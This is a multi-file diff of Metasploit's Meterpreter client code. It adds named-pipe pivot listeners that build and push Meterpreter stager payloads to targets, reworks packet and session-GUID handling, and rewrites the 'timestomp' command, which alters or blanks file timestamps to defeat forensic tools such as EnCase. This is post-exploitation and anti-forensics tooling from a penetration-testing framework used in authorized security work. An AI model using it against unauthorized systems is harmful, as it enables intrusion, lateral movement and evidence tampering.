@ -862,24 +853,7 @@ private
request.add_tlv(TLV_TYPE_TRANS_TYPE, transport) request.add_tlv(TLV_TYPE_TRANS_TYPE, transport)
request.add_tlv(TLV_TYPE_TRANS_URL, url) request.add_tlv(TLV_TYPE_TRANS_URL, url)
return request request
end
#
# Create a full migration payload specific to the target process.
#
def generate_migrate_payload(target_process)
case client.platform
when 'windows'
blob = generate_migrate_windows_payload(target_process)
when 'linux'
blob = generate_migrate_linux_payload
else
raise RuntimeError, "Unsupported platform '#{client.platform}'"
end
blob
end end
# #
@ -905,34 +879,18 @@ private
end end
# #
# Create a full Linux-specific migration payload specific to the target process. # Create a full migration payload specific to the target process.
# #
def generate_migrate_linux_payload def generate_migrate_payload(target_process)
MetasploitPayloads.read('meterpreter', 'msflinker_linux_x86.bin') case client.platform
end when 'windows'
blob = generate_migrate_windows_payload(target_process)
# else
# Determine the elf entry poitn for the given payload. raise RuntimeError, "Unsupported platform '#{client.platform}'"
#
def elf_ep(payload)
elf = Rex::ElfParsey::Elf.new( Rex::ImageSource::Memory.new( payload ) )
ep = elf.elf_header.e_entry
return ep
end
#
# Get the tmp folder for the session.
#
def tmp_folder
tmp = client.sys.config.getenv('TMPDIR')
if tmp.to_s.strip.empty?
tmp = '/tmp'
end end
tmp blob
end end
end end
end; end; end end; end; end

View File

@ -80,7 +80,6 @@ class Kiwi < Extension
elsif output =~ /^ERROR.*SamLookupNamesInDomain/m elsif output =~ /^ERROR.*SamLookupNamesInDomain/m
result[:error] = 'Invalid user.' result[:error] = 'Invalid user.'
else else
STDERR.puts(output)
result[:error] = 'Unknown error.' result[:error] = 'Unknown error.'
end end
else else

View File

@ -17,7 +17,7 @@ TLV_TYPE_INHERIT = TLV_META_TYPE_BOOL | 601
TLV_TYPE_PROCESS_HANDLE = TLV_META_TYPE_QWORD | 630 TLV_TYPE_PROCESS_HANDLE = TLV_META_TYPE_QWORD | 630
TLV_TYPE_THREAD_HANDLE = TLV_META_TYPE_QWORD | 631 TLV_TYPE_THREAD_HANDLE = TLV_META_TYPE_QWORD | 631
TLV_TYPE_PRIVILEGE = TLV_META_TYPE_STRING | 632 TLV_TYPE_PRIVILEGE = TLV_META_TYPE_STRING | 632
## ##
# #
# Fs # Fs

View File

@ -113,6 +113,15 @@ TLV_TYPE_SYM_KEY_TYPE = TLV_META_TYPE_UINT | 551
TLV_TYPE_SYM_KEY = TLV_META_TYPE_RAW | 552 TLV_TYPE_SYM_KEY = TLV_META_TYPE_RAW | 552
TLV_TYPE_ENC_SYM_KEY = TLV_META_TYPE_RAW | 553 TLV_TYPE_ENC_SYM_KEY = TLV_META_TYPE_RAW | 553
#
# Pivots
#
TLV_TYPE_PIVOT_ID = TLV_META_TYPE_RAW | 650
TLV_TYPE_PIVOT_STAGE_DATA = TLV_META_TYPE_RAW | 651
TLV_TYPE_PIVOT_STAGE_DATA_SIZE = TLV_META_TYPE_UINT | 652
TLV_TYPE_PIVOT_NAMED_PIPE_NAME = TLV_META_TYPE_STRING | 653
# #
# Core flags # Core flags
# #
@ -120,6 +129,12 @@ LOAD_LIBRARY_FLAG_ON_DISK = (1 << 0)
LOAD_LIBRARY_FLAG_EXTENSION = (1 << 1) LOAD_LIBRARY_FLAG_EXTENSION = (1 << 1)
LOAD_LIBRARY_FLAG_LOCAL = (1 << 2) LOAD_LIBRARY_FLAG_LOCAL = (1 << 2)
#
# Sane defaults
#
GUID_SIZE = 16
NULL_GUID = "\x00" * GUID_SIZE
### ###
# #
# Base TLV (Type-Length-Value) class # Base TLV (Type-Length-Value) class
@ -227,6 +242,11 @@ class Tlv
when TLV_TYPE_SYM_KEY; "SYM-KEY" when TLV_TYPE_SYM_KEY; "SYM-KEY"
when TLV_TYPE_ENC_SYM_KEY; "ENC-SYM-KEY" when TLV_TYPE_ENC_SYM_KEY; "ENC-SYM-KEY"
when TLV_TYPE_PIVOT_ID; "PIVOT-ID"
when TLV_TYPE_PIVOT_STAGE_DATA; "PIVOT-STAGE-DATA"
when TLV_TYPE_PIVOT_STAGE_DATA_SIZE; "PIVOT-STAGE-DATA-SIZE"
when TLV_TYPE_PIVOT_NAMED_PIPE_NAME; "PIVOT-NAMED-PIPE-NAME"
#when Extensions::Stdapi::TLV_TYPE_NETWORK_INTERFACE; 'network-interface' #when Extensions::Stdapi::TLV_TYPE_NETWORK_INTERFACE; 'network-interface'
#when Extensions::Stdapi::TLV_TYPE_IP; 'ip-address' #when Extensions::Stdapi::TLV_TYPE_IP; 'ip-address'
#when Extensions::Stdapi::TLV_TYPE_NETMASK; 'netmask' #when Extensions::Stdapi::TLV_TYPE_NETMASK; 'netmask'
@ -624,6 +644,8 @@ class Packet < GroupTlv
attr_accessor :created_at attr_accessor :created_at
attr_accessor :raw attr_accessor :raw
attr_accessor :session_guid attr_accessor :session_guid
attr_accessor :encrypt_flags
attr_accessor :length
## ##
# #
@ -654,11 +676,10 @@ class Packet < GroupTlv
### ###
XOR_KEY_SIZE = 4 XOR_KEY_SIZE = 4
SESSION_GUID_SIZE = 16
ENCRYPTED_FLAGS_SIZE = 4 ENCRYPTED_FLAGS_SIZE = 4
PACKET_LENGTH_SIZE = 4 PACKET_LENGTH_SIZE = 4
PACKET_TYPE_SIZE = 4 PACKET_TYPE_SIZE = 4
PACKET_HEADER_SIZE = XOR_KEY_SIZE + SESSION_GUID_SIZE + ENCRYPTED_FLAGS_SIZE + PACKET_LENGTH_SIZE + PACKET_TYPE_SIZE PACKET_HEADER_SIZE = XOR_KEY_SIZE + GUID_SIZE + ENCRYPTED_FLAGS_SIZE + PACKET_LENGTH_SIZE + PACKET_TYPE_SIZE
AES_IV_SIZE = 16 AES_IV_SIZE = 16
@ -786,7 +807,7 @@ class Packet < GroupTlv
def to_r(session_guid = nil, key = nil) def to_r(session_guid = nil, key = nil)
xor_key = (rand(254) + 1).chr + (rand(254) + 1).chr + (rand(254) + 1).chr + (rand(254) + 1).chr xor_key = (rand(254) + 1).chr + (rand(254) + 1).chr + (rand(254) + 1).chr + (rand(254) + 1).chr
raw = [(session_guid || '00' * SESSION_GUID_SIZE).gsub(/-/, '')].pack('H*') raw = (session_guid || NULL_GUID).dup
tlv_data = GroupTlv.instance_method(:to_r).bind(self).call tlv_data = GroupTlv.instance_method(:to_r).bind(self).call
if key && key[:key] && key[:type] == ENC_FLAG_AES256 if key && key[:key] && key[:type] == ENC_FLAG_AES256
@ -817,6 +838,12 @@ class Packet < GroupTlv
end end
end end
def parse_header!
xor_key = self.raw.unpack('a4')[0]
data = xor_bytes(xor_key, self.raw[0..PACKET_HEADER_SIZE])
_, self.session_guid, self.encrypt_flags, self.length, self.type = data.unpack('a4a16NNN')
end
# #
# Override the function that reads from a raw byte stream so # Override the function that reads from a raw byte stream so
# that the XORing of data is included in the process prior to # that the XORing of data is included in the process prior to
@ -824,11 +851,11 @@ class Packet < GroupTlv
# the TLV values. # the TLV values.
# #
def from_r(key=nil) def from_r(key=nil)
self.parse_header!
xor_key = self.raw.unpack('a4')[0] xor_key = self.raw.unpack('a4')[0]
data = xor_bytes(xor_key, self.raw) data = xor_bytes(xor_key, self.raw[PACKET_HEADER_SIZE..-1])
_, self.session_guid, encrypt_flags, length, type = data.unpack('a4a16NNN') raw = decrypt_packet(key, self.encrypt_flags, data)
raw = decrypt_packet(key, encrypt_flags, data[PACKET_HEADER_SIZE..-1]) super([self.length, self.type, raw].pack('NNA*'))
super([length, type, raw].pack('NNA*'))
end end
# #

View File

@ -137,7 +137,7 @@ module PacketDispatcher
if req.body and req.body.length > 0 if req.body and req.body.length > 0
packet = Packet.new(0) packet = Packet.new(0)
packet.add_raw(req.body) packet.add_raw(req.body)
packet.from_r(self.tlv_enc_key) packet.parse_header!
dispatch_inbound_packet(packet) dispatch_inbound_packet(packet)
end end
cli.send_response(resp) cli.send_response(resp)
@ -157,13 +157,28 @@ module PacketDispatcher
# #
# Sends a packet without waiting for a response. # Sends a packet without waiting for a response.
# #
def send_packet(packet, completion_routine = nil, completion_param = nil) def send_packet(packet, opts={})
if (completion_routine) if self.pivot_session
add_response_waiter(packet, completion_routine, completion_param) opts[:session_guid] = self.session_guid
opts[:tlv_enc_key] = self.tlv_enc_key
return self.pivot_session.send_packet(packet, opts)
end
if opts[:completion_routine]
add_response_waiter(packet, opts[:completion_routine], opts[:completion_param])
end
session_guid = self.session_guid
tlv_enc_key = self.tlv_enc_key
# if a session guid is provided, use all the details provided
if opts[:session_guid]
session_guid = opts[:session_guid]
tlv_enc_key = opts[:tlv_enc_key]
end end
bytes = 0 bytes = 0
raw = packet.to_r(self.session_guid, self.tlv_enc_key) raw = packet.to_r(session_guid, tlv_enc_key)
err = nil err = nil
# Short-circuit send when using a passive dispatcher # Short-circuit send when using a passive dispatcher
@ -289,6 +304,24 @@ module PacketDispatcher
# Reception # Reception
# #
## ##
def pivot_keepalive_start
return unless self.send_keepalives
self.receiver_thread = Rex::ThreadFactory.spawn("PivotKeepalive", false) do
while self.alive
begin
Rex::sleep(PING_TIME)
keepalive
rescue ::Exception => e
dlog("Exception caught in pivot keepalive: #{e.class}: #{e}", 'meterpreter', LEV_1)
dlog("Call stack: #{e.backtrace.join("\n")}", 'meterpreter', LEV_2)
self.alive = false
break
end
end
end
end
# #
# Monitors the PacketDispatcher's sock for data in its own # Monitors the PacketDispatcher's sock for data in its own
# thread context and parsers all inbound packets. # thread context and parsers all inbound packets.
@ -298,6 +331,9 @@ module PacketDispatcher
# Skip if we are using a passive dispatcher # Skip if we are using a passive dispatcher
return if self.passive_service return if self.passive_service
# redirect to pivot keepalive if we're a pivot session
return pivot_keepalive_start if self.pivot_session
self.comm_mutex = ::Mutex.new self.comm_mutex = ::Mutex.new
self.waiters = [] self.waiters = []
@ -370,7 +406,7 @@ module PacketDispatcher
backlog.each do |pkt| backlog.each do |pkt|
begin begin
if ! dispatch_inbound_packet(pkt) unless dispatch_inbound_packet(pkt)
# Keep Packets in the receive queue until a handler is registered # Keep Packets in the receive queue until a handler is registered
# for them. Packets will live in the receive queue for up to # for them. Packets will live in the receive queue for up to
# PACKET_TIMEOUT seconds, after which they will be dropped. # PACKET_TIMEOUT seconds, after which they will be dropped.
@ -427,10 +463,9 @@ module PacketDispatcher
def receive_packet def receive_packet
packet = parser.recv(self.sock) packet = parser.recv(self.sock)
if packet if packet
packet.from_r(self.tlv_enc_key) packet.parse_header!
if self.session_guid == '00000000-0000-0000-0000-000000000000' if self.session_guid == NULL_GUID
parts = packet.session_guid.unpack('H*')[0] self.session_guid = packet.session_guid.dup
self.session_guid = [parts[0, 8], parts[8, 4], parts[12, 4], parts[16, 4], parts[20, 12]].join('-')
end end
end end
packet packet
@ -440,12 +475,12 @@ module PacketDispatcher
# Stop the monitor # Stop the monitor
# #
def monitor_stop def monitor_stop
if(self.receiver_thread) if self.receiver_thread
self.receiver_thread.kill self.receiver_thread.kill
self.receiver_thread = nil self.receiver_thread = nil
end end
if(self.dispatcher_thread) if self.dispatcher_thread
self.dispatcher_thread.kill self.dispatcher_thread.kill
self.dispatcher_thread = nil self.dispatcher_thread = nil
end end
@ -461,6 +496,10 @@ module PacketDispatcher
# Adds a waiter association with the supplied request packet. # Adds a waiter association with the supplied request packet.
# #
def add_response_waiter(request, completion_routine = nil, completion_param = nil) def add_response_waiter(request, completion_routine = nil, completion_param = nil)
if self.pivot_session
return self.pivot_session.add_response_waiter(request, completion_routine, completion_param)
end
waiter = PacketResponseWaiter.new(request.rid, completion_routine, completion_param) waiter = PacketResponseWaiter.new(request.rid, completion_routine, completion_param)
self.waiters << waiter self.waiters << waiter
@ -473,6 +512,10 @@ module PacketDispatcher
# if anyone. # if anyone.
# #
def notify_response_waiter(response) def notify_response_waiter(response)
if self.pivot_session
return self.pivot_session.notify_response_waiter(response)
end
handled = false handled = false
self.waiters.each() { |waiter| self.waiters.each() { |waiter|
if (waiter.waiting_for?(response)) if (waiter.waiting_for?(response))
@ -489,7 +532,11 @@ module PacketDispatcher
# Removes a waiter from the list of waiters. # Removes a waiter from the list of waiters.
# #
def remove_response_waiter(waiter) def remove_response_waiter(waiter)
self.waiters.delete(waiter) if self.pivot_session
self.pivot_session.remove_response_waiter(waiter)
else
self.waiters.delete(waiter)
end
end end
## ##
@ -514,15 +561,21 @@ module PacketDispatcher
def dispatch_inbound_packet(packet) def dispatch_inbound_packet(packet)
handled = false handled = false
pivot_session = self.find_pivot_session(packet.session_guid)
tlv_enc_key = self.tlv_enc_key
tlv_enc_key = pivot_session.pivoted_session.tlv_enc_key if pivot_session
packet.from_r(tlv_enc_key)
# Update our last reply time # Update our last reply time
self.last_checkin = Time.now self.last_checkin = Time.now
pivot_session.pivoted_session.last_checkin = self.last_checkin if pivot_session
# If the packet is a response, try to notify any potential # If the packet is a response, try to notify any potential
# waiters # waiters
if packet.response? if packet.response? && notify_response_waiter(packet)
if (notify_response_waiter(packet)) return true
return true
end
end end
# Enumerate all of the inbound packet handlers until one handles # Enumerate all of the inbound packet handlers until one handles

View File

@ -0,0 +1,163 @@
# -*- coding: binary -*-
require 'rex/post/meterpreter/inbound_packet_handler'
require 'securerandom'
module Rex
module Post
module Meterpreter
class PivotListener
attr_accessor :id
attr_accessor :session_class
attr_accessor :url
attr_accessor :stage
def initialize(session_class, url, stage)
self.id = [SecureRandom.uuid.gsub(/-/, '')].pack('H*')
self.session_class = session_class
self.url = url
self.stage = stage
end
def to_row
[self.id.unpack('H*')[0], url, stage]
end
end
class Pivot
#
# The associated meterpreter client instance
#
attr_accessor :client
attr_accessor :pivoted_session
# Class modifications to support global pivot message
# dispatching without having to register a per-instance handler
class << self
include Rex::Post::Meterpreter::InboundPacketHandler
# Class request handler for all channels that dispatches requests
# to the appropriate class instance's DIO handler
def request_handler(client, packet)
if packet.method == 'core_pivot_session_new'
session_guid = packet.get_tlv_value(TLV_TYPE_SESSION_GUID)
listener_id = packet.get_tlv_value(TLV_TYPE_PIVOT_ID)
client.add_pivot_session(Pivot.new(client, session_guid, listener_id))
elsif packet.method == 'core_pivot_session_died'
session_guid = packet.get_tlv_value(TLV_TYPE_SESSION_GUID)
pivot = client.find_pivot_session(session_guid)
if pivot
pivot.pivoted_session.kill('Died')
client.remove_pivot_session(session_guid)
end
end
true
end
end
def Pivot.get_listeners(client)
client.pivot_listeners
end
def Pivot.remove_listener(client, listener_id)
if client.find_pivot_listener(listener_id)
request = Packet.create_request('core_pivot_remove')
request.add_tlv(TLV_TYPE_PIVOT_ID, listener_id)
client.send_request(request)
client.remove_pivot_listener(listener_id)
end
end
def Pivot.create_named_pipe_listener(client, opts={})
request = Packet.create_request('core_pivot_add')
request.add_tlv(TLV_TYPE_PIVOT_NAMED_PIPE_NAME, opts[:pipe_name])
# TODO: use the framework to generate the whole lot, including a session type
c = Class.new(::Msf::Payload)
c.include(::Msf::Payload::Stager)
c.include(::Msf::Payload::TransportConfig)
# TODO: add more platforms
case opts[:platform]
when 'windows'
# Include the appropriate reflective dll injection module for the target process architecture...
if opts[:arch] == ARCH_X86
c.include(::Msf::Payload::Windows::MeterpreterLoader)
elsif opts[:arch] == ARCH_X64
c.include(::Msf::Payload::Windows::MeterpreterLoader_x64)
else
STDERR.puts("Not including a loader for '#{opts[:arch]}'\n")
end
end
stage_opts = {
arch: opts[:arch],
force_write_handle: true,
null_session_guid: true,
datastore: {
exit_func: opts[:exit_func] || 'process',
expiration: client.expiration,
comm_timeout: client.comm_timeout,
retry_total: client.retry_total,
retry_wait: client.retry_wait,
'PIPEHOST' => opts[:pipe_host],
'PIPENAME' => opts[:pipe_name]
}
}
# Create the migrate stager
stager = c.new()
stage_opts[:transport_config] = [stager.transport_config_reverse_named_pipe(stage_opts)]
stage = stager.stage_payload(stage_opts)
url = "pipe://#{opts[:pipe_host]}/#{opts[:pipe_name]}"
stage_config = "#{opts[:arch]}/#{opts[:platform]}"
pivot_listener = PivotListener.new(::Msf::Sessions::Meterpreter_x86_Win, url, stage_config)
request.add_tlv(TLV_TYPE_PIVOT_STAGE_DATA, stage)
request.add_tlv(TLV_TYPE_PIVOT_STAGE_DATA_SIZE, stage.length)
request.add_tlv(TLV_TYPE_PIVOT_ID, pivot_listener.id)
client.send_request(request)
client.add_pivot_listener(pivot_listener)
pivot_listener
end
def initialize(client, session_guid, listener_id)
self.client = client
opts = {
pivot_session: client,
session_guid: session_guid
}
listener = client.find_pivot_listener(listener_id)
self.pivoted_session = listener.session_class.new(nil, opts)
self.pivoted_session.framework = self.client.framework
self.pivoted_session.bootstrap({'AutoVerifySessionTimeout' => 30})
self.client.framework.sessions.register(self.pivoted_session)
end
protected
#
# Cleans up any lingering resources
#
def cleanup
end
end
end; end; end

View File

@ -0,0 +1,72 @@
# -*- coding: binary -*-
module Rex
module Post
module Meterpreter
###
#
# This interface is meant to be included by things that are meant to contain
# zero or more pivot instances in the form of a hash.
#
###
module PivotContainer
#
# Initializes the pivot association hash
#
def initialize_pivots
self.pivot_sessions = {}
self.pivot_listeners = {}
end
#
# Adds a pivot to the container that is indexed by the pivoted
# session guid.
#
def add_pivot_session(pivot)
self.pivot_sessions[pivot.pivoted_session.session_guid] = pivot
end
def add_pivot_listener(listener)
self.pivot_listeners[listener.id] = listener
end
#
# Looks up a pivot instance based on its pivoted session guid.
#
def find_pivot_session(pivot_session_guid)
return self.pivot_sessions[pivot_session_guid]
end
def find_pivot_listener(listener_id)
return self.pivot_listeners[listener_id]
end
#
# Removes a pivot based on its pivoted session guid.
#
def remove_pivot_session(pivot_session_guid)
return self.pivot_sessions.delete(pivot_session_guid)
end
def remove_pivot_listener(listener_id)
return self.pivot_listeners.delete(listener_id)
end
#
# The hash of pivot sessions.
#
attr_reader :pivot_sessions
attr_reader :pivot_listeners
protected
attr_writer :pivot_sessions # :nodoc:
attr_writer :pivot_listeners # :nodoc:
end
end; end; end

View File

@ -83,6 +83,8 @@ class Console::CommandDispatcher::Core
if client.passive_service && client.sock.type? == 'tcp-ssl' if client.passive_service && client.sock.type? == 'tcp-ssl'
c['ssl_verify'] = 'Modify the SSL certificate verification setting' c['ssl_verify'] = 'Modify the SSL certificate verification setting'
end end
c['pivot'] = 'Manage pivot listeners'
end end
if client.platform == 'windows' || client.platform == 'linux' if client.platform == 'windows' || client.platform == 'linux'
@ -119,6 +121,156 @@ class Console::CommandDispatcher::Core
'Core' 'Core'
end end
@@pivot_opts = Rex::Parser::Arguments.new(
'-t' => [true, 'Pivot listener type'],
'-i' => [true, 'Identifier of the pivot to remove'],
'-l' => [true, 'Host address to bind to (if applicable)'],
'-n' => [true, 'Name of the listener entity (if applicable)'],
'-a' => [true, 'Architecture of the stage to generate'],
'-p' => [true, 'Platform of the stage to generate'],
'-h' => [false, 'View help']
)
@@pivot_supported_archs = [ARCH_X64, ARCH_X86]
@@pivot_supported_platforms = ['windows']
def cmd_pivot_help
print_line('Usage: pivot <list|add|remove> [options]')
print_line
print_line('Manage pivot listeners on the target.')
print_line
print_line(@@pivot_opts.usage)
print_line
print_line('Supported pivot types:')
print_line(' - pipe (using named pipes over SMB)')
print_line('Supported arhiectures:')
@@pivot_supported_archs.each do |a|
print_line(' - ' + a)
end
print_line('Supported platforms:')
print_line(' - windows')
print_line
print_line("eg. pivot add -t pipe -l 192.168.0.1 -n msf-pipe -a #{@@pivot_supported_archs.first} -p windows")
print_line(" pivot list")
print_line(" pivot remove -i 1")
print_line
end
def cmd_pivot(*args)
if args.length == 0 || args.include?('-h')
cmd_pivot_help
return true
end
opts = {}
@@pivot_opts.parse(args) { |opt, idx, val|
case opt
when '-t'
opts[:type] = val
when '-i'
opts[:guid] = val
when '-l'
opts[:lhost] = val
when '-n'
opts[:name] = val
when '-a'
opts[:arch] = val
when '-p'
opts[:platform] = val
end
}
# first parameter is the command
case args[0]
when 'remove', 'del', 'delete', 'rm'
unless opts[:guid]
print_error('Pivot listener ID must be specified (-i)')
return false
end
unless opts[:guid] =~ /^[0-9a-f]{32}/i && opts[:guid].length == 32
print_error("Invalid pivot listener ID: #{opts[:guid]}")
return false
end
listener_id = [opts[:guid]].pack('H*')
unless client.find_pivot_listener(listener_id)
print_error("Unknown pivot listener ID: #{opts[:guid]}")
return false
end
Pivot.remove_listener(client, listener_id)
print_good("Successfully removed pivot: #{opts[:guid]}")
when 'list', 'show', 'print'
if client.pivot_listeners.length > 0
tbl = Rex::Text::Table.new(
'Header' => 'Currently active pivot listeners',
'Indent' => 4,
'Columns' => ['Id', 'URL', 'Stage'])
client.pivot_listeners.each do |k, v|
tbl << v.to_row
end
print_line
print_line(tbl.to_s)
else
print_status('There are no active pivot listeners')
end
when 'add'
unless opts[:type]
print_error('Pivot type must be specified (-t)')
return false
end
unless opts[:arch]
print_error('Architecture must be specified (-a)')
return false
end
unless @@pivot_supported_archs.include?(opts[:arch])
print_error("Unknown or unsupported architecture: #{opts[:arch]}")
return false
end
unless opts[:platform]
print_error('Platform must be specified (-p)')
return false
end
unless @@pivot_supported_platforms.include?(opts[:platform])
print_error("Unknown or unsupported platform: #{opts[:platform]}")
return false
end
# currently only one pivot type supported, more to come we hope
case opts[:type]
when 'pipe'
pivot_add_named_pipe(opts)
else
print_error("Unknown pivot type: #{opts[:type]}")
return false
end
else
print_error("Unknown command: #{args[0]}")
end
end
def pivot_add_named_pipe(opts)
unless opts[:lhost]
print_error('Pipe host must be specified (-l)')
return false
end
unless opts[:name]
print_error('Pipe name must be specified (-n)')
return false
end
# reconfigure the opts so that they can be passed to the setup function
opts[:pipe_host] = opts[:lhost]
opts[:pipe_name] = opts[:name]
Pivot.create_named_pipe_listener(client, opts)
print_good("Successfully created #{opts[:type]} pivot.")
end
def cmd_sessions_help def cmd_sessions_help
print_line('Usage: sessions <id>') print_line('Usage: sessions <id>')
print_line print_line
@ -605,7 +757,7 @@ class Console::CommandDispatcher::Core
# Arguments for transport switching # Arguments for transport switching
# #
@@transport_opts = Rex::Parser::Arguments.new( @@transport_opts = Rex::Parser::Arguments.new(
'-t' => [true, "Transport type: #{Rex::Post::Meterpreter::ClientCore::VALID_TRANSPORTS.keys.join(', ')}"], '-t' => [true, "Transport type: #{Rex::Post::Meterpreter::ClientCore::VALID_TRANSPORTS.join(', ')}"],
'-l' => [true, 'LHOST parameter (for reverse transports)'], '-l' => [true, 'LHOST parameter (for reverse transports)'],
'-p' => [true, 'LPORT parameter'], '-p' => [true, 'LPORT parameter'],
'-i' => [true, 'Specify transport by index (currently supported: remove)'], '-i' => [true, 'Specify transport by index (currently supported: remove)'],

View File

@ -2,141 +2,162 @@
require 'rex/post/meterpreter' require 'rex/post/meterpreter'
module Rex module Rex
module Post module Post
module Meterpreter module Meterpreter
module Ui module Ui
###
#
# This class provides commands that interact with the timestomp feature set of
# the privilege escalation extension.
#
###
class Console::CommandDispatcher::Priv::Timestomp
Klass = Console::CommandDispatcher::Priv::Timestomp
### include Console::CommandDispatcher
#
# This class provides commands that interact with the timestomp feature set of
# the privilege escalation extension.
#
###
class Console::CommandDispatcher::Priv::Timestomp
Klass = Console::CommandDispatcher::Priv::Timestomp @@timestomp_opts = Rex::Parser::Arguments.new(
"-m" => [ true, "Set the \"last written\" time of the file" ],
"-a" => [ true, "Set the \"last accessed\" time of the file" ],
"-c" => [ true, "Set the \"creation\" time of the file" ],
"-e" => [ true, "Set the \"mft entry modified\" time of the file" ],
"-z" => [ true, "Set all four attributes (MACE) of the file" ],
"-f" => [ true, "Set the MACE of attributes equal to the supplied file" ],
"-b" => [ false, "Set the MACE timestamps so that EnCase shows blanks" ],
"-r" => [ false, "Set the MACE timestamps recursively on a directory" ],
"-v" => [ false, "Display the UTC MACE values of the file" ],
"-h" => [ false, "Help banner" ]
)
include Console::CommandDispatcher #
# List of supported commands.
#
def commands
{
"timestomp" => "Manipulate file MACE attributes"
}
end
@@timestomp_opts = Rex::Parser::Arguments.new( #
"-m" => [ true, "Set the \"last written\" time of the file" ], # Name for this dispatcher.
"-a" => [ true, "Set the \"last accessed\" time of the file" ], #
"-c" => [ true, "Set the \"creation\" time of the file" ], def name
"-e" => [ true, "Set the \"mft entry modified\" time of the file" ], "Priv: Timestomp"
"-z" => [ true, "Set all four attributes (MACE) of the file" ], end
"-f" => [ true, "Set the MACE of attributes equal to the supplied file" ],
"-b" => [ false, "Set the MACE timestamps so that EnCase shows blanks" ],
"-r" => [ false, "Set the MACE timestamps recursively on a directory" ],
"-v" => [ false, "Display the UTC MACE values of the file" ],
"-h" => [ false, "Help banner" ])
# #
# List of supported commands. # This command provides the same level of features that vinnie's command
# # line timestomp interface provides with a similar argument set.
def commands #
{ def cmd_timestomp(*args)
"timestomp" => "Manipulate file MACE attributes" paths = []
}
end
# modified = nil
# Name for this dispatcher. accessed = nil
# creation = nil
def name emodified = nil
"Priv: Timestomp"
end
# blank_file_mace = false
# This command provides the same level of features that vinnie's command blank_directory_mace = false
# line timestomp interface provides with a similar argument set. get_file_mace = false
# help = false
def cmd_timestomp(*args)
if (args.length < 2)
print_line("\nUsage: timestomp OPTIONS file_path\n" +
@@timestomp_opts.usage)
return
end
file_path = nil @@timestomp_opts.parse(args) do |opt, _idx, val|
args.each { |a| file_path = a unless a[0] == "-" } case opt
when "-m"
modified = str_to_time(val)
when "-a"
accessed = str_to_time(val)
when "-c"
creation = str_to_time(val)
when "-e"
emodified = str_to_time(val)
when "-z"
modified = str_to_time(val)
accessed = str_to_time(val)
creation = str_to_time(val)
emodified = str_to_time(val)
when "-f"
print_status("Setting MACE attributes on #{path} from #{val}")
hash = client.priv.fs.get_file_mace(path)
if hash
modified = str_to_time(hash['Modified'])
accessed = str_to_time(hash['Accessed'])
creation = str_to_time(hash['Created'])
emodified = str_to_time(hash['Entry Modified'])
end
when "-b"
blank_file_mace = true
when "-r"
blank_directory_mace = true
when "-v"
get_file_mace = true
when "-h"
help = true
when nil
paths << val
end
end
if file_path.nil? if paths.empty?
print_line("\nNo file_path specified.") print_line("\nNo paths specified.")
return return nil
end end
args.delete(file_path) if !(modified || accessed || creation || emodified ||
blank_file_mace || blank_directory_mace || get_file_mace) || help
print_line("\nUsage: timestomp <file(s)> OPTIONS\n" +
@@timestomp_opts.usage)
return nil
end
modified = nil paths.uniq.each do |path|
accessed = nil # If any one of the four times were specified, change them.
creation = nil if modified || accessed || creation || emodified
emodified = nil print_status("Setting specific MACE attributes on #{path}")
client.priv.fs.set_file_mace(path, modified, accessed, creation, emodified)
end
@@timestomp_opts.parse(args) { |opt, idx, val| if blank_file_mace
case opt print_status("Blanking file MACE attributes on #{path}")
when "-m" client.priv.fs.blank_file_mace(path)
modified = str_to_time(val) end
when "-a"
accessed = str_to_time(val)
when "-c"
creation = str_to_time(val)
when "-e"
emodified = str_to_time(val)
when "-z"
print_line("#{val}")
modified = str_to_time(val)
accessed = str_to_time(val)
creation = str_to_time(val)
emodified = str_to_time(val)
when "-f"
print_status("Setting MACE attributes on #{file_path} from #{val}")
client.priv.fs.set_file_mace_from_file(file_path, val)
when "-b"
print_status("Blanking file MACE attributes on #{file_path}")
client.priv.fs.blank_file_mace(file_path)
when "-r"
print_status("Blanking directory MACE attributes on #{file_path}")
client.priv.fs.blank_directory_mace(file_path)
when "-v"
hash = client.priv.fs.get_file_mace(file_path)
print_line("Modified : #{hash['Modified']}") if blank_directory_mace
print_line("Accessed : #{hash['Accessed']}") print_status("Blanking directory MACE attributes on #{path}")
print_line("Created : #{hash['Created']}") client.priv.fs.blank_directory_mace(path)
print_line("Entry Modified: #{hash['Entry Modified']}") end
when "-h"
print_line("\nUsage: timestomp file_path OPTIONS\n" + if get_file_mace
@@timestomp_opts.usage) hash = client.priv.fs.get_file_mace(path)
return print_status("Showing MACE attributes for #{path}")
print_line("Modified : #{hash['Modified']}")
print_line("Accessed : #{hash['Accessed']}")
print_line("Created : #{hash['Created']}")
print_line("Entry Modified: #{hash['Entry Modified']}")
end
end
end
protected
#
# Converts a date/time in the form of MM/DD/YYYY HH24:MI:SS
#
def str_to_time(str) # :nodoc:
unless str.nil?
_r, mon, day, year, hour, min, sec =
str.match("^(\\d+?)/(\\d+?)/(\\d+?) (\\d+?):(\\d+?):(\\d+?)$").to_a
end
if str.nil? || mon.nil?
raise ArgumentError, "Invalid date format, expected MM/DD/YYYY HH24:MI:SS (got #{str})"
end
Time.mktime(year, mon, day, hour, min, sec, 0)
end
end
end end
}
# If any one of the four times were specified, change them.
if (modified or accessed or creation or emodified)
print_status("Setting specific MACE attributes on #{file_path}")
client.priv.fs.set_file_mace(file_path, modified, accessed,
creation, emodified)
end end
end end
protected
#
# Converts a date/time in the form of MM/DD/YYYY HH24:MI:SS
#
def str_to_time(str) # :nodoc:
r, mon, day, year, hour, min, sec = str.match("^(\\d+?)/(\\d+?)/(\\d+?) (\\d+?):(\\d+?):(\\d+?)$").to_a
if (mon == nil)
raise ArgumentError, "Invalid date format, expected MM/DD/YYYY HH24:MI:SS (got #{str})"
end
Time.mktime(year, mon, day, hour, min, sec, 0)
end
end
end
end
end
end end

View File

@ -894,13 +894,21 @@ class Console::CommandDispatcher::Stdapi::Sys
if args.include? "-h" if args.include? "-h"
cmd_getprivs_help cmd_getprivs_help
end end
print_line("=" * 60)
print_line("Enabled Process Privileges") table = Rex::Text::Table.new(
print_line("=" * 60) 'Header' => 'Enabled Process Privileges',
'Indent' => 0,
'SortIndex' => 1,
'Columns' => ['Name']
)
privs = client.sys.config.getprivs
client.sys.config.getprivs.each do |priv| client.sys.config.getprivs.each do |priv|
print_line(" #{priv}") table << [priv]
end end
print_line("")
print_line
print_line(table.to_s)
end end
# #

View File

@ -191,9 +191,9 @@ class Client
# Closes the connection to the remote server. # Closes the connection to the remote server.
# #
def close def close
if (self.conn) if self.conn && !self.conn.closed?
self.conn.shutdown self.conn.shutdown
self.conn.close unless self.conn.closed? self.conn.close
end end
